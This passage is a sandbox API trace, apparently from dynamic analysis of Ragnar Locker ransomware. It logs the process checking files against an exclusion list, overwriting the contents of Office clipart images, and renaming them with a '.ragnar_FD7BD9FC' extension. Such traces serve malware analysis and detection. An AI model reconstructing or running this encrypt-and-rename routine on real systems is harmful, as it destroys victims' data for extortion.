lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.502] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.502] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.503] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.503] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.503] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 0x20 [0084.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.504] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16710) returned 1 [0084.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x413d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.504] GetProcessHeap () returned 0x580000 [0084.504] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.504] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.506] VirtualAlloc (lpAddress=0x0, dwSize=0x4146, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.506] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4146, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4146, lpOverlapped=0x0) returned 1 [0084.507] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.508] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4146, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.508] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4146, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4146, lpOverlapped=0x0) returned 1 [0084.508] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4146, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.508] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.509] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4146, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.509] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.509] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.509] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.510] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.510] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.510] GetProcessHeap () returned 0x580000 [0084.510] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.510] CloseHandle (hObject=0xf4) returned 1 [0084.510] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" [0084.510] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.ragnar_FD7BD9FC" [0084.510] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.511] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1 [0084.511] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.511] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0144773.JPG" | out: lpString1="J0144773.JPG") returned="J0144773.JPG" [0084.511] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned=".JPG" [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="autorun.inf") returned 1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="boot.ini") returned 1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="bootfont.bin") returned 1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="bootsect.bak") returned 1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="bootmgr") returned 1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="bootmgr.efi") returned 1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="bootmgfw.efi") returned 1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="desktop.ini") returned 1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="iconcache.db") returned 1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="ntldr") returned -1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="ntuser.dat") returned -1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="ntuser.dat.log") returned -1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="ntuser.ini") returned -1 [0084.511] lstrcmpiW (lpString1="J0144773.JPG", lpString2="thumbs.db") returned -1 [0084.511] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.511] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.511] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.511] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.511] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.511] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.511] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 0x20 [0084.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.512] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=40231) returned 1 [0084.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.512] GetProcessHeap () returned 0x580000 [0084.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.512] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.514] VirtualAlloc (lpAddress=0x0, dwSize=0x9d27, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.514] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9d27, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9d27, lpOverlapped=0x0) returned 1 [0084.515] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.516] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d27, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.516] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9d27, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9d27, lpOverlapped=0x0) returned 1 [0084.516] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9d27, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.516] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9d27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.516] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.516] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.517] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.517] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.517] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.517] GetProcessHeap () returned 0x580000 [0084.517] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.517] CloseHandle (hObject=0xf4) returned 1 [0084.517] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" [0084.517] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.ragnar_FD7BD9FC" [0084.517] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.518] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1 [0084.518] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.518] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145168.JPG" | out: lpString1="J0145168.JPG") returned="J0145168.JPG" [0084.518] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned=".JPG" [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="autorun.inf") returned 1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="boot.ini") returned 1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="bootfont.bin") returned 1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="bootsect.bak") returned 1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="bootmgr") returned 1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="bootmgr.efi") returned 1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="bootmgfw.efi") returned 1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="desktop.ini") returned 1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="iconcache.db") returned 1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="ntldr") returned -1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="ntuser.dat") returned -1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="ntuser.dat.log") returned -1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="ntuser.ini") returned -1 [0084.518] lstrcmpiW (lpString1="J0145168.JPG", lpString2="thumbs.db") returned -1 [0084.518] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.519] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.519] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.519] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.519] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.519] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.519] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 0x20 [0084.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.519] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33657) returned 1 [0084.519] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8370, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.519] GetProcessHeap () returned 0x580000 [0084.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.519] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.521] VirtualAlloc (lpAddress=0x0, dwSize=0x8379, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.521] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8379, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8379, lpOverlapped=0x0) returned 1 [0084.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.522] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8379, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.522] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8379, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8379, lpOverlapped=0x0) returned 1 [0084.522] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8379, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.522] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.523] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8379, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.523] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.523] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.523] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.523] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.523] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.523] GetProcessHeap () returned 0x580000 [0084.523] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.523] CloseHandle (hObject=0xf4) returned 1 [0084.523] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" [0084.523] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.ragnar_FD7BD9FC" [0084.523] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.524] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1 [0084.524] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.524] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0145212.JPG" | out: lpString1="J0145212.JPG") returned="J0145212.JPG" [0084.524] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned=".JPG" [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="autorun.inf") returned 1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="boot.ini") returned 1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="bootfont.bin") returned 1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="bootsect.bak") returned 1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="bootmgr") returned 1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="bootmgr.efi") returned 1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="bootmgfw.efi") returned 1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="desktop.ini") returned 1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="iconcache.db") returned 1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="ntldr") returned -1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="ntuser.dat") returned -1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="ntuser.dat.log") returned -1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="ntuser.ini") returned -1 [0084.524] lstrcmpiW (lpString1="J0145212.JPG", lpString2="thumbs.db") returned -1 [0084.524] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0084.524] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0084.524] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0084.524] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0084.524] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0084.525] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0084.525] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0084.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 0x20 [0084.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.526] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c 